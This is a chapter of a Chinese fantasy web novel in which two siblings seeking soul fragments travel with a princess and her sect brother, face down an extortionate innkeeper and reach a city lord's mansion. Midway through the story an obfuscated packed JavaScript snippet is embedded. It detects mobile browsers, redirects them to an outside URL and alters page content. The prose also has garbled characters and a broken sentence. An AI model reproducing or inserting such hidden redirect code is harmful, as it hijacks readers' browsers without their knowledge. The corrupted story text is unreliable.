这一日经历颇多,南星倚在窗边,望着院中那株老梅,心中思绪纷乱。
苏木的敲门声轻响:“南星,早些歇息。明日还要赶路。”
“知道了,哥哥。”南星应声。
一夜无话。
翌日清晨,两人在客栈用过早饭,便按照约定前往城东的归云茶楼。茶楼临水而建,飞檐翘角,很是雅致。两人刚至门口,便见白聆言与清澜已在二楼临窗处等候。
“二位来了。”白聆言起身相迎,“请坐。”
四人落座,小二奉上清茶。白聆言这才开口:“昨日匆忙,未及详谈。不知二位欲往东边何处?”
苏木温声道:“我们要去寻一位故人,只知他在东境,具体所在尚不明确。”他的目光在南星身上短暂停留,语气温润去深藏着一丝难以察觉的关切。“这位故人多年前云游四方,如今我们得知他可能隐于东晋徐当面寻访一件重要旧物。”
南新垂下眼帘,她知道苏木所说的故人与旧物实为掩护之辞,他们真正要寻的是散落九天之境的三魂碎片。之前感应到碎片在东方,只是具体方位,如雾里看花。
白聆言若有所思:“东境广阔,若无确切方位,寻人如大海捞针。若二位不嫌弃,可随我们先往清熙宗,或许能打听到消息。”
“这……”苏木略有迟疑。他并非真的需要打听什么“故人”消息,但清熙宗做为九天之境大门派,情报网络广泛,或许真能察觉到与灵魂碎片相关的灵力异动或古老传闻。
南星却已欢喜道:“好啊!那就麻烦聆言了!”她隐隐感觉到与这些人同行,或许更接近那些呼唤着她的碎片。
清澜抬眼看了南星一眼,神色平静:“既如此,我们今日便启程。”
四人饮过茶,便一同离开茶楼。白聆言与清澜各自牵了马,见南星与苏木并无坐骑,便道:“前方东市有车马行,可租用马车。”
“好。”苏木与南星对视一眼。
四人沿着官道向东而行,白聆言也说了此次师门出行是为了巡查边界,今日刚好从边界处回来恰巧遇上,倒可同行一程。
不料才走出数里,便见前方路上围了一群人,吵吵嚷嚷。
走近一看,却是一家客栈门口,掌柜模样的中年人正拦着两个客商模样的男子争执。
“说了没房就是没房!快走快走!”掌柜不耐烦地挥手。
“我们明明昨日订了房,银子都付了!”客商怒道。
“昨日是昨日,今日客满了!银子退你,赶紧走!”
南星皱了皱眉,正要绕行,却听那掌柜忽然转头看向他们,眼睛一亮:“哟,这不是昨日那对吃白食的兄妹吗?”
正是悦来客栈的吴掌柜。
吴二三步并作两步上前,拦住去路:“昨日让郡主解了围,今日可没那么好运了!饭钱还没结呢!”
南星气笑了:“昨日分明是你见色起意,出言不逊,怎么反倒诬我们吃白食?”
“谁诬你了?大家评评理!”吴二扬声喊起来,“这两人昨日在我店里吃了饭,说没带钱,要拿东西抵。我见他们可怜,好心让他们抵,他们反倒说我图谋不轨!”
周围路人闻言,纷纷投来目光。
清澜眉头微蹙,正要开口,白聆言却已上前一步:“吴掌柜,昨日之事我亲眼所见,不必在此颠倒黑白。”
吴二见是郡主,脸色一变,但眼珠一转,又梗着脖子道:“郡主,昨日您是路过,只看到后半段。这二人确实吃了饭没给钱,这是事实!”
“你!”南星气急。
苏木按住她,从袖中取出一枚玉佩:“这玉佩价值远胜饭钱,昨日便欲抵给你,是你自己不要。”
那玉佩通体莹润,一看便非凡品。吴二眼中闪过贪婪,却仍嘴硬:“谁知道是真是假?我要现钱!”
“吴掌柜这是铁了心要讹人了?”白聆言声音冷了下来。
就在这时,一队巡城士兵路过。为首的队长认得白聆言,连忙上前行礼:“见过郡主。”
“来得正好。”白聆言指着吴二,“此人讹诈行骗,带回衙门处置。”
“是!”士兵应声上前。
吴二这下慌了,扑通跪地:“郡主饶命!是小人糊涂!小人再也不敢了!”
白聆言却不再看他,对士兵队长道:“按律处置即可。”又转向南星与苏木,“让二位见笑了。赤幽城辖内竟有这等无赖,是我这东道主之过。”
南星摇头:“与郡主无关,是这人太可恶。”
清澜这时开口:“时辰不早,该启程了。”
四人正要离开,吴二却忽然喊道:“且慢!且慢!小人还有话禀报!”
他连滚带爬地扑到白聆言面前:“郡主,小人知错了!小人愿将功折罪!前几日小店里住进几个行踪可疑的人,鬼鬼祟祟的,怕是对城主府不利!”
白聆言神色一凝:“你说什么?”
“真的真的!”吴二急忙道,“那几人总在夜里外出,天亮才回。有次小人起夜,听见他们说什么‘黑曜’、‘禁制’……还提到城主府!”
清澜与白聆言对视一眼,神色俱是凝重。清澜下意识按住剑柄,这个细微的动作让苏木眸光微动。
“那几人现在何处?”白聆言追问,声音里带着不易察觉的紧绷。
“今早刚退房离去,往东边去了。”
白聆言沉默片刻,看向清澜。清澜会意,沉声道:“此事需立即回禀城主。”他转向白聆言,语气严肃,“师尊他们此刻应当还在府中商议要事,此事恐怕与他们所虑相关。”
白聆言颔首,转身对南星与苏木道:“二位,情况有变。吴二所言涉及城中禁制安危,我们必须即刻回城禀报。东境之行恐需暂缓。”
苏木温言道:“二位既有紧急要务,我们便不叨扰了。就此别过。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265122|198080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不可。”白聆言摇头,“此事线索指向东境,背后恐有凶险。二位此时独行,恐遭不测。不如先随我们回城主府,待查明情况再作打算。”她顿了顿,补充道,“府中现有清熙宗长辈驻留,他们对东境各方消息颇为灵通,或能对二位寻人之事有所助益。”
南星看向苏木,见他微微颔首,便道:“那便叨扰了。”
一行人匆匆赶回赤幽城。回程路上,气氛明显凝重了许多。
白聆言与清澜不时低声交谈,隐约能听见“禁制松动”、“师尊嘱咐”等只言片语。
南星默默跟在苏木身侧,在接近赤幽城时,心口似乎有了一丝极微弱的悸动——很轻,如同远处传来的、几乎不可闻的呼唤。
她不禁抬头望向城主府的方向,心中暗忖:难道……那里也有什么在等待着她?
苏木敏锐地察觉到她瞬间的恍惚,低声问:“怎么了?”
南星轻轻摇头,以只有两人能听见的声音说:“好像对那个方向有感应。”她不着痕迹地指了指城主府。
苏木眸光微沉,面上却不动声色:“静观其变。”他们寻找碎片的旅程,似乎与赤幽城的风云,产生了意想不到的交集。
不多时,巍峨的城主府已在眼前。府门前侍卫肃立,见白聆言归来,齐齐行礼:“郡主。”
白聆言微微颔首,引众人入内。刚穿过前院,便见一位身着清熙宗道袍、气度沉凝的中年修士迎面走来。
“聆言师姐、清澜师兄,你们怎么回来了?”修士目光扫过南星与苏木,带着几分审视。
“程师弟,有紧急情况需立即禀报城主和师尊。”清澜上前一步,低声说了几句。
那程师弟神色一凛:“快随我来,宗主与城主正在云枢堂议事。”
白聆言回头对南星二人道:“二位请先随鱼伯往清和园歇息,我等需立即面见长辈禀报要事,稍后再来与二位细说。”
一直候在一旁的老管家鱼伯此时上前,和蔼道:“二位客人,请随老朽来。”
南星与苏木跟着鱼伯穿过曲折回廊,沿途可见不少身着清熙宗服饰的弟子往来匆匆,神情严肃。空气中弥漫着一种山雨欲来的紧绷感,而南星心口那微弱的悸动感在踏入府邸深处后,似乎又清晰了一分。
来到一处清幽院落,院中青竹掩映,墙角一株老梅虽未著花,枝干却苍劲挺拔。
“二位请在此歇息,若有需要,吩咐院外侍从即可。”鱼伯说罢,躬身退下。
院门轻掩,将外间的紧张气氛暂时隔开。
“苏木,你瞧。”南星将掌心涌动的灵力展示给苏木,声音带着一丝不易察觉的激动,“这里有反应……比刚才更明显了。”
苏木走到她身边,目光落在南星掌心,又望向幽深府邸,缓缓道:“我们寻找‘故人’的线索,或许真在此处有所交汇。只是这城主府内暗流涌动,须得万分谨慎。